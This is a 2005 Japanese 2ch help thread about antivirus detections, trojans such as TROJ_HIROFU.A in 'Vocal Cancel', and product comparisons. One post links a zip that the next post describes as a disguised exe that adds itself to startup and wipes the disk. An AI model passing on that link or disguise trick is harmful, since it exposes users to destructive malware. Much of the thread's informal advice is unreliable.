ウイルスバスターではＨＴＭＬ＿ＲＥＤＩＲ．Ａに感染
ｓｙｍａｔｅｃｋではＵｎｉｘ．Ｐｅｎｇｕｉｎに感染
との診断が・・・
後者は２ちゃん利用の誤検出かもしれませんが
前者のほうが気になります
どなたか削除の方法や対処法などご存知の方教えてください
0888名無しさん＠お腹いっぱい。
2005/06/03(金) 23:48:59最初にやることは検索じゃないかな。
HTML_REDIR．Aで検索
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=HTML_REDIR.A
0889名無しさん＠お腹いっぱい。
2005/06/07(火) 05:38:28,r' ／＝ミ
/ 彡ll',''´
. / 彡lll
!-- .､ ,､､､､,,, 彡lﾉ
l,,,,,__ / ___ 'r''ﾞヽ
. |`ﾞ'' ./ `'ﾞ'''" .〉,l |
|. ,' //
. ',. ,' , r'
. ﾞ, ﾞ'ｰ ‐` l |
ﾞ､''ﾞ ,,､二''‐ ﾉ l、
''''''''7'ヽ ''' ／ /`〉｀ﾞT''''''''''
l ` ､,,,,､- ' " / /.| |
. | | .l i / ./ | |
| | | l / ./ .| |
. | | | l / / | |
| | | ', / / l .l
【ゴールデンレス】
このレスを見た人はコピペでもいいので
10分以内に3つのスレへ貼り付けてください。
そうすれば１４日後好きな人から告白されるわ宝くじは当たるわ
出世しまくるわ体の悪い所全部治るわでえらい事です
0890名無しさん＠お腹いっぱい。
2005/06/07(火) 08:58:04このWarezサイトの解析お願いします。
どのリンクを辿っても
ysbinstall_1002755_3.exeとかpatch_1002755_3.exeのような
いかにも怪しいファイルしか落とせません。
一体何のために存在するサイトなのでしょうか？
0891名無しさん＠お腹いっぱい。
2005/06/07(火) 12:31:40欲に目が眩んで基本的な警戒すら怠る人を懲らしめるためのサイトではないかと（ｗ
それからその「怪しいファイル」はトロイだから気を付けてね
ちなみにノートンやAVGだと引っ掛からなかったりもするけど
0892名無しさん＠お腹いっぱい。
2005/06/22(水) 03:37:070893名無しさん＠お腹いっぱい。
2005/06/27(月) 16:14:53戻したんですがそれでウイルスはなくなるんですか？
0894名無しさん＠お腹いっぱい。
2005/06/27(月) 17:12:37なくなるとは限らない。システムドライブ(C):だけが感染してたならいいが、
他のドライブにも移ってる恐れはあるので、復旧後にスキャンした方がいい
0895名無しさん＠お腹いっぱい。
2005/07/04(月) 16:28:42音声ファイル変換ソフト「Vocal Cancel」が、「トロイの木馬（TROJ_HIROFU.A）」であると確認された。
ttp://www.vector.co.jp/info/050704_vocal_cancel.html
※現時点で対応しているアンチウイルス製品
ウイルスバスター（最速で対応）
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_HIROFU.A&VSect=T
ノートン（手動アップデートでやっと対応）
ttp://www.symantec.com/region/jp/avcenter/venc/data/jp-trojan.hirofu.html
・NOD32は未対応。
0896名無しさん＠お腹いっぱい。
2005/07/05(火) 12:06:06更新頻度は低いけど数少ないフリーツールだのにだのにだー
0897名無しさん＠お腹いっぱい。
2005/07/05(火) 12:26:32無料版は月イチでの更新みたいですね
0898896
2005/07/05(火) 12:46:27俺は月一で充分だと思うけど。
スキャン自体、月数回だし。
spybotやad-awareみたいな感じの気休めツールとして捉えてるんで。
よしよし怪しいのは入ってないなと確認。
本気で頼るなら常駐ツールでないとね。
0899名無しさん＠お腹いっぱい。
2005/07/06(水) 23:43:120900名無しさん＠お腹いっぱい。
2005/07/07(木) 13:18:22音声ファイル変換ソフト「Vocal Cancel」が、「トロイの木馬（TROJ_HIROFU.A）」であると確認された。
ttp://www.vector.co.jp/info/050704_vocal_cancel.html
※7月7日時点で対応しているアンチウイルス製品
ウイルスバスター（最速で対応）
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_HIROFU.A&VSect=T
ノートン（自動アップデートでも対応）
ttp://www.symantec.com/region/jp/avcenter/venc/data/jp-trojan.hirofu.html
マカフィー
ttp://vil.nai.com/vil/content/v_134732.htm
【・NOD32は未対応】
補足情報）
第二の価格コム事件とも言える「ozmall」のサーバがクラックされた事件の場合では、
現時点で４製品が問題のウイルスを検出できてます。
ttp://www.ozmall.co.jp/050530/virus.html#soft
検出 駆除
マカフィー（Managed VirusScan） 可 可
アンラボ（V3ウイルスブロック2005） 可 可
F-Secureアンチウィルス. 可 可
Kaspersky 可 可
NOD32 不能 不能
0901名無しさん＠お腹いっぱい。
2005/07/08(金) 12:15:020902名無しさん＠お腹いっぱい。
2005/07/08(金) 13:17:450903名無しさん＠お腹いっぱい。
2005/07/08(金) 20:19:18コンピューター上にウイルスが検出されました
Bloodhound.Exploit.6
って出るんですが
これはどういう意味でしょうか？
自分のコンピューターがウイルスに感染してるんですか？
マジレスお願いします。
コンピューター上というかこのスレのファイルにじゃないかな。
だとすればノートントラップの可能性。
0905名無しさん＠お腹いっぱい。
2005/07/08(金) 21:22:59感染してないってことですよね？
レスありがとうございました。
0906名無しさん＠お腹いっぱい。
2005/07/09(土) 21:36:38ttp://internet.watch.impress.co.jp/cda/news/2005/07/08/8345.html
（7月9日時点）
ウイルスバスター
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TSPY_BANCOS.ANM
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=SPYW_INVKEY12.A
ノートン
ttp://www.symantec.com/region/jp/avcenter/venc/data/spyware.invisiblekey.html
【・NOD32は未対応】
0907帆船8●1
2005/07/09(土) 22:43:14ﾉﾉﾉﾉ
( ﾟ∋ﾟ)
￣∪|￣∪|￣| ⌒ヽ
￣|￣￣|￣￣|=ﾟωﾟ)
￣￣|￣￣|￣|⌒丶
￣|￣￣|￣￣|从ｗﾉ 噂の「Vocal Cancel」ですが、
￣￣|￣￣|￣|Д｀ﾉ ＜ 閉鎖されたページがInternet Archiveで保存されており、
￣|￣￣|￣￣| / そこからソフトが落とせましたので（zipファイルの解凍に修復が必要でした）
￣￣|￣￣|￣|・∀・） 二つのフリーのトロイ対策ソフトで調査しました。
＾^＾^＾^＾^＾^＾^＾^＾^＾^＾
結果は、
「ewido」（Ver3.5、データベース#1323）では「TROJ_HIROFU」として検出されました。
「a-squared」（Ver1.6、総定義数156308）では、マルウェア・トロイとして検出されませんでした。
0908名無しさん＠お腹いっぱい。
2005/07/10(日) 03:33:19トロイの木馬「Ｄｏｗｎｌｏａｄｅｒ-QR」というものなのですが、これはいったい・・・
0909帆船8●1
2005/07/10(日) 20:32:24ﾉﾉﾉﾉ
( ﾟ∋ﾟ)
￣∪|￣∪|￣| ⌒ヽ
￣|￣￣|￣￣|=ﾟωﾟ)
￣￣|￣￣|￣|⌒丶
￣|￣￣|￣￣|从ｗﾉ 悪い虫は早めに駆除ですよ
￣￣|￣￣|￣|Д｀ﾉつttp://www.nai.com/japan/security/virD2004.asp?v=Downloader-QR#removal
￣|￣￣|￣￣| /
￣￣|￣￣|￣|・∀・）
＾^＾^＾^＾^＾^＾^＾^＾^＾^＾
0910名無しさん＠お腹いっぱい。
2005/07/11(月) 01:55:41VirusTotalでためしてくれ～
ttp://www.virustotal.com/flash/index_en.html
0911名無しさん＠お腹いっぱい。
2005/07/11(月) 04:20:54907じゃないけど結果は以前試した時と同じだった
反応するのはSymantecとFortinetだけ
0912名無しさん＠お腹いっぱい。
2005/07/11(月) 16:41:04Adware:Adware/Ucmore 駆除不能 Windows レジストリ
Virus:Trj/Downloader.ABR 駆除 オペレーティングシステム
Spyware:Spyware/FastSearchWeb 駆除不能 Windows レジストリ
Virus:Trj/Downloader.AEE 駆除 オペレーティングシステム
Adware:Adware/Xrenoder 駆除不能 Windows レジストリ
Virus:Trj/Small.GV 駆除 オペレーティングシステム Adware:Adware/Pacimedia 駆除不能 Windows レジストリ
NOD３２で検出かけた後、パンダフリーでこれだけ検出された
スパイウェアはSPYBOTとADARAEで検出されなかったのがでた
超ｼｮｯｸ＿|￣|○NOD３２・・・
0913名無しさん＠お腹いっぱい。
2005/07/11(月) 21:20:100914名無しさん＠お腹いっぱい。
2005/07/11(月) 21:36:33Receives Checkmark Certification
スパイウェア関係の検出力は高いみたいなのにね。
その前にESETのサイトに日本語版がないのは何故？
0915名無しさん＠お腹いっぱい。
2005/07/14(木) 10:45:54ttp://www.forest.impress.co.jp/article/2005/07/14/dtoolsdlcom.html
※7月14日時点で対応しているアンチウイルス製品
Kaspersky
ttp://www.viruslist.com/en/alerts?alertid=166119889
ノートン
ttp://www.symantec.com/region/jp/avcenter/venc/data/jp-w32.gregcenter.html
マカフィー
ttp://www.mcafeesecurity.com/japan/security/virG2004.asp?v=W32/GregCenter
【・NOD32は未対応】
0916名無しさん＠お腹いっぱい。
2005/07/14(木) 12:36:55http://www.boardsmag.com/screeningroom/commercials/1794/
0917名無しさん＠お腹いっぱい。
2005/07/14(木) 15:58:58キャノンが怠慢だから
0918名無しさん＠お腹いっぱい。
2005/07/15(金) 13:08:20＞なお、窓の杜ではアーカイブをライブラリに掲載する際に、
＞ウイルス対策ソフトを3本常駐させたパソコンでアーカイブのチェックを入念に行っている。
3本常駐って・・・そんなことできるのか？
0919名無しさん＠お腹いっぱい。
2005/07/15(金) 13:20:50そんなこと書いてあったのか。
仮に見た目問題が出ないとしても絶対にやらないよな。
窓の社ってアホの集まりだったんだなw
0920名無しさん＠お腹いっぱい。
2005/07/15(金) 16:39:11ノートンあたりと、BitDefenderとClamWinの組み合わせとかじゃないか。
BitとClamは、常駐保護機能はないけど、
うｐだてとかのために常駐するプロセスがあるから、
＞ウイルス対策ソフトを3本常駐させたパソコン
という表現は間違ってはいない。
0921名無しさん＠お腹いっぱい。
2005/07/15(金) 17:23:59情けないフォローの社員乙。
0922名無しさん＠お腹いっぱい。
2005/07/15(金) 17:30:52それならむしろ、本体、VMware、VirtualPCにそれぞれインスコとか。
0923922
2005/07/15(金) 17:33:57# ウイルスバスター2005 インターネット セキュリティ
# NOD32アンチウイルス
だった。
ttp://www.forest.impress.co.jp/announce/20050606.html
0924名無しさん＠お腹いっぱい。
2005/07/15(金) 18:22:10体験版を仮想OSに入れて、本OSのﾀﾞｳｿﾌｫﾙﾀﾞを仮想OSと共有するのは基本だとおも
0925名無しさん＠お腹いっぱい。
2005/07/15(金) 18:22:340926名無しさん＠お腹いっぱい。
2005/07/16(土) 16:12:24勝手にデスクトップにＨｏｔｘというショートカットができて
それがけしてもけしても現れるんだだが どうにもならない？
0927名無しさん＠お腹いっぱい。
2005/07/16(土) 16:16:240928名無しさん＠お腹いっぱい。
2005/07/16(土) 17:19:220929名無しさん＠お腹いっぱい。
2005/07/16(土) 17:28:050930名無しさん＠お腹いっぱい。
2005/07/16(土) 18:39:07Expolorerは使ってないので不要なdllはuncaldixで削除しているんですが。
0931名無しさん＠お腹いっぱい。
2005/07/16(土) 18:41:080932名無しさん＠お腹いっぱい。
2005/07/17(日) 11:02:20>窓の社ってアホの集まりだったんだなw
アホはおまいだｗ
社じゃねーよ杜だよ！
0933名無しさん＠お腹いっぱい。
2005/07/17(日) 15:10:08誰か助けて(;つД｀)
XP（sp2） NOD32
0934名無しさん＠お腹いっぱい。
2005/07/17(日) 15:23:09ttp://www.symantec.com/region/jp/avcenter/venc/data/[email protected]
？
0935名無しさん＠お腹いっぱい。
2005/07/18(月) 23:38:46××.××.×××.××× とのすべての通信は 2880 分間にわたって遮断されます。"
nisでこういう表示が一日１回は出るのですが
多すぎでしょうか？
0936名無しさん＠お腹いっぱい。
2005/07/19(火) 06:56:09ここでIPアドレスから相手の情報を探れるぞ。
出てくるのは外国ばっかだけどな。
取れた情報を元にファイアーウォールかけとけばいいと思う。
0937９３６
2005/07/19(火) 07:04:200938名無しさん＠お腹いっぱい。
2005/07/19(火) 19:38:44NOD32対応してないか？
ttp://www.eset.com/support/info.htm
＞NOD32 - v.1.1134 (20050608)
＞ Win32/TrojanDownloader.Zdesnado, Win32/TrojanDownloader.Zdesnado.T
＞NOD32 - v.1.1007 (20050223)
＞Win32/TrojanDownloader.Zdesnado.N
＞NOD32 - v.1.1006 (20050222)
＞Win32/TrojanDownloader.Zdesnado.F
0939名無しさん＠お腹いっぱい。
2005/07/21(木) 22:39:26どうやらTROJ_SMALL.GOに感染したようです。
ネットも他のプログラムも使えない状態です。
（今は携帯から）
どうしたらよいでしょうか？
検索もできなくて…
0940名無しさん＠お腹いっぱい。
2005/07/22(金) 02:04:28PC立ち上げたら「JS/Exploit-HelpXSiteに感染してたから駆除した」
というメッセージが出たんですが、
駆除されたらもう大丈夫なんですかね？
mcafeeのHP見てもよくわからなかったもので・・・。
一応スキャンはしました。
教えて！エロい人。
0941名無しさん＠お腹いっぱい。
2005/07/22(金) 03:46:47>>939
ウィルスやトロイは感染してしまったらもうおしまいと思った方がよいですよ。
それか、対処できるような知識を身に付けてください。
検出名がわかっているということは、情報はあるはずですからね。
0942名無しさん＠お腹いっぱい。
2005/07/22(金) 03:52:54あなたの場合、アンチウィルスソフトが防いでくれたようですが
必ず検出されたものはログファイルに記録されているはずです。
まずはその見方を覚えてください。
見る時に重要なことは、検出名とファイルの名前、それと検出された場所です。
駆除したという報告があるならば見つかった場所にはもう感染した
ファイルは無いはずです。それを確認できたら念のために
ハードディスク全体をスキャンします。それで何も検出されなければ
とりあえず安心しても良いでしょう。
0943名無しさん＠お腹いっぱい。
2005/07/22(金) 04:03:56はぁあぁぁああ
0944名無しさん＠お腹いっぱい。
2005/07/22(金) 20:35:191 Scanタブで指定フォルダ内ファイルをスキャン
2 Processタブでプロセスの強制終了(実行ファイルのあるフォルダを開く等も可)
3 Updateタブで定義ファイルアップデート
までは分かったんだけど、これ常駐保護機能って具体的に何をしているんでしょ？
Settingsタブにもそれっぽい項目が何もないし、何か常駐保護されてる気がしないんだけど…
うーん、漏れが頭悪いだけだったら申し訳ない
Swat Itのフリー版は常駐保護はないよ
0946名無しさん＠お腹いっぱい。
2005/07/25(月) 15:30:14適用した処理がファイルを修復できませんってでてきた
これってまだ残ってるってことだよな？
誰か解決法教えてください
調べたりしていろいろやってみてるけど何度ウイルスチェックしても引っかからないし…
0947名無しさん＠お腹いっぱい。
2005/07/25(月) 16:23:57気になるなら、Antidote 辺りを使って、セーフモードでスキャンしてみるとか。
0948946
2005/07/25(月) 16:45:33Antidoteってのはフリーのはないんですか？落とせません
0949946
2005/07/25(月) 17:00:280950名無しさん＠お腹いっぱい。
2005/07/26(火) 18:17:37これって何事？どう対処すれば
0951名無しさん＠お腹いっぱい。
2005/07/26(火) 18:37:347月26日からWindows Server 2003がSP1へ自動更新されるようになりますがNOD32はSP1にまだ未対応。
SP1にアップデートすると通信不能となり最悪の場合OSがリブートの繰り返しとなるので注意。
http://canon-sol.jp/product/nd/nd_server2003.html
0952名無しさん＠お腹いっぱい。
2005/07/28(木) 06:58:43ttp://vladimir.ddo.jp:8888/cgi-bin/ane/src/ane1049.zip
ノートンすら反応しねえ…
0953名無しさん＠お腹いっぱい。
2005/07/28(木) 06:59:45ファイル名が「かおる姫 .exe」になってた。
スペース入れてファイル名が長かった為、ファイル名全部表示されずついWクリ。
もしくは拡張子表示してないのでWクリ。
実行すると「殺してやる!.exe」ってのがスタートアップフォルダーに追加され再起動の時点で実行される。
そんでもってHDD内あぼーん。
0954名無しさん＠お腹いっぱい。
2005/07/28(木) 07:46:08アンチウィルスソフトに頼りきりのやつはとりあえず入れておけ。
フォルダ偽装なら馬鹿でも100%防げるようになるぞ。
ProcessGuard Free
http://www.diamondcs.com.au/processguard/index.php?page=download
一応専用スレ
ProcessGuard
http://pc8.2ch.net/test/read.cgi/sec/1118056531/
0955名無しさん＠お腹いっぱい。
2005/07/28(木) 09:16:45ノートンすら反応しねえ…
ノートンすら反応しねえ…
ノートンすら反応しねえ…
ノートンすら反応しねえ…
ノートン(笑)だからだろｗ
0956名無しさん＠お腹いっぱい。
2005/07/28(木) 09:26:09おすすめソフト教えて
0957名無しさん＠お腹いっぱい。
2005/07/28(木) 12:31:41>>954
アンチウイルスに頼り切るなよ。
ノートンはヒューリスティックより、シグネチャに重きを置いてるソフトなんだから
新種のウイルスを検出しにくいのは当たり前だろ。
0958名無しさん＠お腹いっぱい。
2005/07/28(木) 12:46:530959名無しさん＠お腹いっぱい。
2005/07/28(木) 19:15:12なんかAVGが反応したぞ
0960名無しさん＠お腹いっぱい。
2005/07/28(木) 19:31:28NODが大喜びしてたランキング（URL忘れた）でフリーソフト以下だった記憶が・・・
0961名無しさん＠お腹いっぱい。
2005/07/28(木) 19:40:320962名無しさん＠お腹いっぱい。
2005/07/28(木) 20:45:54別に漏れも順位とかには興味ねーが、自分が使ってるソフトの弱点くらい知っておけよ。
ﾉｰﾄｿじゃ定義ファイルにないウイルスはまず見つからん
0963名無しさん＠お腹いっぱい。
2005/07/28(木) 21:14:420964名無しさん＠お腹いっぱい。
2005/07/29(金) 23:55:13フリー版を試してみたかったけど、ダウンロードできなくなってた。
0965名無しさん＠お腹いっぱい。
2005/08/09(火) 10:13:24用語は正しく使いましょう。
0966名無しさん＠お腹いっぱい。
2005/08/09(火) 12:12:09http://tmp5.2ch.net/test/read.cgi/download/1122198484/
802 名前：通報屋 ◆Y39/vakKjY [sage] 投稿日：2005/08/09(火) 01:19:03 ID:D+6ug8Vx0
ファイルを分析しました。送られたそれぞれのファイルについてわかったことを
以下に報告します。
ファイル名: C:\Virus\uporg165729\今月分ロリ詰め合わせ01.bin
結果: このファイルは次のウィルスに感染しています: Trojan Horse
デベロッパーノート
ご提出いただいたサンプルについて、シマンテック・セキュリティ・レスポンスはウイルス、
ワームまたはトロイの木馬に感染していると判断いたしました。
今回の提出されたサンプルに含まれる脅威に個別対応した定義ファイルを作成いたしましたので、
このメールの末尾に書かれた手順にしたがってインストールしてください。
先生緊急対応。
Trendには連絡済み。
207 名前：番組の途中ですが名無しです [sage] 投稿日：2005/08/09(火) 10:07:29 ID:VF4CpZQu0
ご提出いただいたサンプルについて、シマンテック・セキュリティ・レスポンスはウイル
ス、ワームまたはトロイの木馬に感染していると判断いたしました。
今回の提出されたサンプルに含まれる脅威に個別対応した定義ファイルを作成いたしまし
たので、このメールの末尾に書かれた手順にしたがってインストールしてください。
個別対応した定義ファイルをダウンロードしてインストールする方法：
1. Web ブラウザを起動します。
2. この FTP サイト:
ftp://ftp.symantec.com/public/english_us_canada/antivirus_definitions/norton_antivirus/rapidrelease/symrapidreleasedefsi32.exe
へのリンクを
クリックしてください。
0967名無しさん＠お腹いっぱい。
2005/08/29(月) 09:26:260968名無しさん＠お腹いっぱい。
2005/08/29(月) 10:02:24検索して出直せ。
0969名無しさん＠お腹いっぱい。
2005/08/30(火) 14:22:36しかもavastだから余計に不安なんだけど。
0970名無しさん＠お腹いっぱい。
2005/08/30(火) 14:43:02ギコナビにトロイが仕込まれているのは
有名な話だが。
0971名無しさん＠お腹いっぱい。
2005/08/30(火) 15:21:33なんかブラウザ特集のページからDLしたんですが。
ヤバイですよね？
どのような被害が考えられますか？
0972名無しさん＠お腹いっぱい。
2005/08/30(火) 17:25:46ウイルスよりトロイの方がやっかい。
わかるだろ？
リカバリー汁。
0973名無しさん＠お腹いっぱい。
2005/08/30(火) 18:56:34VBS.LoveLetter.Aにやられてた。
0974名無しさん＠お腹いっぱい。
2005/08/30(火) 21:43:340975名無しさん＠お腹いっぱい。
2005/08/30(火) 21:51:00俺はavast使ったことないからよく知らんが、ノートントラップみたいな誤検出じゃないのか？
頻繁に再起動するとか、異様に重いとか、FWのログに異常があるとか、そういう具体的な異常があるの？
無いのなら、誤検出の線で疑ったほうがいいと思う。
とりあえず、検出されたウイルス名と場所を、フルパスで書いてみ。
0976名無しさん＠お腹いっぱい。
2005/08/30(火) 22:00:28ewido暇つぶしにインスコしたらトロイが金玉、失礼、
しこたま出てきた。
>>973と同じワームも検出されたｗ
0977名無しさん＠お腹いっぱい。
2005/08/30(火) 22:02:140978名無しさん＠お腹いっぱい。
2005/08/30(火) 22:10:18Win32:Mhtplo-8[Trj]
Win32:Mhtplo-26[Trj]
0979名無しさん＠お腹いっぱい。
2005/08/30(火) 22:37:47しかし、DL板の猫に小判なサイト掲載の怪しい英語サイトにアクセスした時にトロイの木馬をブロックしましたってウインドが出たから、
それから感染したのかな。
マジでリカバリしたが吉かな…
なんか潜伏するんですよね
0980名無しさん＠お腹いっぱい。
2005/08/30(火) 22:38:53http://violet.homeip.net/upload/img-box/img20050829205112.jpg
0981名無しさん＠お腹いっぱい。
2005/08/30(火) 22:40:01潜在＆形を変えての増殖
ヤヴァイよ。
0982名無しさん＠お腹いっぱい。
2005/08/30(火) 22:46:51駆除も大変そうだから明日リカバリかけますわ～
0983名無しさん＠お腹いっぱい。
2005/08/31(水) 18:22:16デラックス ヤヴァス！
レス数が950を超えています。1000を超えると書き込みができなくなります。